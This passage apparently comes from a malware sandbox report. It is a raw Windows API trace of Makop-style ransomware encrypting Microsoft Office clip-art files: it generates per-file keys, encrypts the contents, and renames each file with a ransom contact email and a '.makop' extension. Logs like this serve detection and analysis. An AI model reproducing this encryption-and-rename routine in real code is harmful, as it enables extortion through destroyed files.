dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.881] GetProcessHeap () returned 0x48a0000 [0118.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0118.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.886] GetProcessHeap () returned 0x48a0000 [0118.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.888] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.888] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3e74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3e74, lpOverlapped=0x0) returned 1 [0118.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e80, dwBufLen=0x3e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e80) returned 1 [0118.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3e80, lpOverlapped=0x0) returned 1 [0118.890] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.890] SetEndOfFile (hFile=0xf0) returned 1 [0118.897] GetProcessHeap () returned 0x48a0000 [0118.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.897] GetProcessHeap () returned 0x48a0000 [0118.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.897] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.899] CloseHandle (hObject=0xf0) returned 1 [0118.899] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0118.899] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0118.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.900] GetProcessHeap () returned 0x48a0000 [0118.900] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.900] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.904] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.904] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.905] GetProcessHeap () returned 0x48a0000 [0118.905] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.905] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.905] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.905] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.905] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.905] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.905] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.906] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.906] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.906] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6978, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6978, lpOverlapped=0x0) returned 1 [0118.908] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6980, dwBufLen=0x6980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6980) returned 1 [0118.908] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6980, lpOverlapped=0x0) returned 1 [0118.909] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.909] SetEndOfFile (hFile=0xf0) returned 1 [0118.916] GetProcessHeap () returned 0x48a0000 [0118.916] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.916] GetProcessHeap () returned 0x48a0000 [0118.917] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.917] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.918] CloseHandle (hObject=0xf0) returned 1 [0118.918] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0118.918] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0118.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.919] GetProcessHeap () returned 0x48a0000 [0118.919] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.919] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.919] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.919] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.920] GetProcessHeap () returned 0x48a0000 [0118.920] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.925] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.925] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.925] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.925] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.926] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2bd0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2bd0, lpOverlapped=0x0) returned 1 [0118.927] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bd0, dwBufLen=0x2bd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bd0) returned 1 [0118.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2bd0, lpOverlapped=0x0) returned 1 [0118.928] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.928] SetEndOfFile (hFile=0xf0) returned 1 [0118.935] GetProcessHeap () returned 0x48a0000 [0118.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.935] GetProcessHeap () returned 0x48a0000 [0118.935] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.935] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.936] CloseHandle (hObject=0xf0) returned 1 [0118.936] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0118.936] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0118.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.937] GetProcessHeap () returned 0x48a0000 [0118.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.937] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.938] GetProcessHeap () returned 0x48a0000 [0118.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.938] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.938] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.943] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.943] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.944] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4290, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4290, lpOverlapped=0x0) returned 1 [0118.945] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4290, dwBufLen=0x4290 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4290) returned 1 [0118.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4290, lpOverlapped=0x0) returned 1 [0118.946] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.946] SetEndOfFile (hFile=0xf0) returned 1 [0118.955] GetProcessHeap () returned 0x48a0000 [0118.955] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.955] GetProcessHeap () returned 0x48a0000 [0118.955] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.955] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.956] CloseHandle (hObject=0xf0) returned 1 [0118.957] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0118.957] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0118.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 